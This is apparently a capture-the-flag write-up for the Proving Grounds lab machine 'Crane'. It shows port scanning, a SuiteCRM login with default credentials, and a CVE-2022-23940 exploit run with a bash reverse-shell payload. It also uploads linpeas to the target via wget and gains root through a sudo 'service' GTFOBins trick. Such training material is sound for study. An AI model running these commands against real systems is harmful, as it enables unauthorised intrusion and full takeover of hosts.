Summary #
On port 80 there is a login page for an application called SuiteCRM. There are some easy to guess credentials set, admin:admin
to get access to this application. We can use an authenticated RCE (CVE-2022–23940) to get initial access to the target. Once on the box, we can use a binary called /usr/sbin/service
using sudo without a password. Using GTFOBins we can esacalate our privileges to the root
user.
Specifications #
- Name: CRANE
- Platform: PG PRACTICE
- Points: 10
- Difficulty: Intermediate
- OS: Linux crane 4.19.0-24-amd64 #1 SMP Debian 4.19.282-1 (2023-04-29) x86_64 GNU/Linux
- IP address: 192.168.203.146
- OFFSEC provided credentials: None
- HASH:
local.txt
:14775c71d07d7961844e8eb29a597872
- HASH:
proof.txt
:bfa52319b67edbd69f9d845429c5bfc6
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir crane && cd crane && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Aug 14 15:59 .
drwxrwxr-x 20 kali kali 4096 Aug 14 15:59 ..
drwxrwxr-x 2 kali kali 4096 Aug 14 15:59 enum
drwxrwxr-x 2 kali kali 4096 Aug 14 15:59 exploits
drwxrwxr-x 2 kali kali 4096 Aug 14 15:59 files
drwxrwxr-x 2 kali kali 4096 Aug 14 15:59 tools
drwxrwxr-x 2 kali kali 4096 Aug 14 15:59 uploads
## set bash variable
ip=192.168.203.146
## ping target to check if it's online
ping $ip
PING 192.168.203.146 (192.168.203.146) 56(84) bytes of data.
64 bytes from 192.168.203.146: icmp_seq=1 ttl=61 time=20.2 ms
64 bytes from 192.168.203.146: icmp_seq=2 ttl=61 time=19.1 ms
^C
--- 192.168.203.146 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 19.138/19.653/20.168/0.515 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: allowing you to send UDP packets into the void 1200x faster than NMAP
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.203.146:22
Open 192.168.203.146:80
Open 192.168.203.146:3306
Open 192.168.203.146:33060
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-14 16:01 CEST
Initiating Ping Scan at 16:01
Scanning 192.168.203.146 [4 ports]
Completed Ping Scan at 16:01, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:01
Completed Parallel DNS resolution of 1 host. at 16:01, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 16:01
Scanning 192.168.203.146 [4 ports]
Discovered open port 22/tcp on 192.168.203.146
Discovered open port 80/tcp on 192.168.203.146
Discovered open port 3306/tcp on 192.168.203.146
Discovered open port 33060/tcp on 192.168.203.146
Completed SYN Stealth Scan at 16:01, 0.06s elapsed (4 total ports)
Nmap scan report for 192.168.203.146
Host is up, received reset ttl 61 (0.020s latency).
Scanned at 2025-08-14 16:01:07 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
3306/tcp open mysql syn-ack ttl 61
33060/tcp open mysqlx syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
Raw packets sent: 8 (328B) | Rcvd: 5 (216B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
3306/tcp open mysql syn-ack ttl 61
33060/tcp open mysqlx syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
22,80,3306,33060
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80,3306,33060 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 37:80:01:4a:43:86:30:c9:79:e7:fb:7f:3b:a4:1e:dd (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBCcfKYKMXuTWeyLKlFNHgmebcXbFAjSpbr39R8GFHYRmc/mZXKNgEoa5gkFAVr8kVVul4X6//DcnRuHtrCpHcnTIZLT9g1DPB09VsLzsjT0TpmqkcDYtZazo1mjnBZdaM+AxoDMghZd8AXiNrCl7jCN+vRjUQc8T1wD4PoC02XjeCAI8Yha++Mv9ZrSPZ+/gBvgZPL3pdQhVGUSUHOmXod4xcdm5ReNiZRNZklOhhscbGfSCqQIdJogegZfMrlueeG3EY7Kkf5CxAUDH/9ir2dEDDifIpqKV8W7ncKEpsZiqgDh36OdMX4LPJ0NmZiT/g8CvINx7k4HWj3ksT+5C7
| 256 b6:18:a1:e1:98:fb:6c:c6:87:55:45:10:c6:d4:45:b9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEK0B9iLJQztyEpGiNffHgQuGcxZRO/BOi+r0j/P8Hkz02pIWW2hFrArbzehUNQ46ZmFwMhxxmrIOLBpUt9ZGBw=
| 256 ab:8f:2d:e8:a2:04:e7:b7:65:d3:fe:5e:93:1e:03:67 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOAlO2qlRhyMwzzf3xAK4wOGz1UD5t9+QQO5J3QjTkaZ
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.38 ((Debian))
| http-title: SuiteCRM
|_Requested resource was index.php?action=Login&module=Users
|_http-favicon: Unknown favicon MD5: ED9A8C7810E8C9FB7035B6C3147C9A3A
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_/
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.38 (Debian)
3306/tcp open mysql syn-ack ttl 61 MySQL (unauthorized)
33060/tcp open mysqlx syn-ack ttl 61 MySQL X protocol listener
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.38 ((Debian))
| http-title: SuiteCRM
|_Requested resource was index.php?action=Login&module=Users
|_http-favicon: Unknown favicon MD5: ED9A8C7810E8C9FB7035B6C3147C9A3A
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_/
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.38 (Debian)
Once we connect to the target on port 80 using the webbrowser we get redirected to: http://192.168.203.146/index.php?module=Users&action=Login
and are able to login using easy to guess credentials, admin:admin
.

Searching the internet we find an authenticated RCE exploit, https://raw.githubusercontent.com/manuelz120/CVE-2022-23940/refs/heads/main/exploit.py. Download this exploit, setup a listener and run it (using the found credentials) to get a reverse shell in the /var/www/html
directory as the www-data
user.
## change directory
cd exploits
## download the exploit
wget https://raw.githubusercontent.com/manuelz120/CVE-2022-23940/refs/heads/main/exploit.py
--2025-08-14 16:09:38-- https://raw.githubusercontent.com/manuelz120/CVE-2022-23940/refs/heads/main/exploit.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4198 (4.1K) [text/plain]
Saving to: ‘exploit.py’
exploit.py 100%[=====================================>] 4.10K --.-KB/s in 0s
2025-08-14 16:09:38 (8.62 MB/s) - ‘exploit.py’ saved [4198/4198]
## get the local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.204/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::4562:7354:71e0:68c7/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## setup local listener on port 9001
nc -lvnp 9001
listening on [any] 9001 ...
## run the exploit
python3 exploit.py -h http://192.168.203.146 -u admin -p admin --payload "/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.204/9001 0>&1'"
INFO:CVE-2022-23940:Login did work - Trying to create scheduled report
## catch the reverse shell
nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.204] from (UNKNOWN) [192.168.203.146] 44230
bash: cannot set terminal process group (573): Inappropriate ioctl for device
bash: no job control in this shell
www-data@crane:/var/www/html$
## print the current working directory
www-data@crane:/var/www/html$ pwd
/var/www/html
## print the current user using `whoami`
www-data@crane:/var/www/html$ whoami
www-data
## print `local.txt`
www-data@crane:/home$ cat /var/www/local.txt
14775c71d07d7961844e8eb29a597872
Privilege Escalation #
To get a proper TTY we upgrade our shell using the script
binary.
## determine location script binary
www-data@crane:/home$ which script
/usr/bin/script
## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
www-data@crane:/home$ export TERM=xterm
www-data@crane:/home$ stty columns 200 rows 200
Now, upload linpeas.sh
to the target and run it.
## change directory locally
cd uploads
## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## get local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.204/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::4562:7354:71e0:68c7/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## start local webserver
python3 -m http.server 80
## on target
## change directory
www-data@crane:/home$ cd /var/tmp
www-data@crane:/var/tmp$
## download `linpeas.sh`
www-data@crane:/var/tmp$ wget http://192.168.45.204/linpeas.sh
--2025-08-14 10:27:44-- http://192.168.45.204/linpeas.sh
Connecting to 192.168.45.204:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 956174 (934K) [text/x-sh]
Saving to: 'linpeas.sh'
linpeas.sh 0%[ linpeas.sh 100%[=============================================================================================================>] 933.76K 4.80MB/s in 0.2s
2025-08-14 10:27:44 (4.80 MB/s) - 'linpeas.sh' saved [956174/956174]
## set the execution bit
www-data@crane:/var/tmp$ chmod +x linpeas.sh
## run `linpeas.sh`
www-data@crane:/var/tmp$ ./linpeas.sh
The linpeas.sh
output shows that we can run the /usr/sbin/service
binary using sudo without a password. Using GTFOBins (https://gtfobins.github.io/gtfobins/service/#sudo) we can escalate our privileges to the root
user.
## list sudo privileges
www-data@crane:/var/tmp$ sudo -l
Matching Defaults entries for www-data on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on localhost:
(ALL) NOPASSWD: /usr/sbin/service
www-data@crane:/var/tmp$ sudo /usr/sbin/service ../../bin/sh
## print the current user
# whoami
root
## print `proof.txt`
# cat /root/proof.txt
bfa52319b67edbd69f9d845429c5bfc6
References #
[+]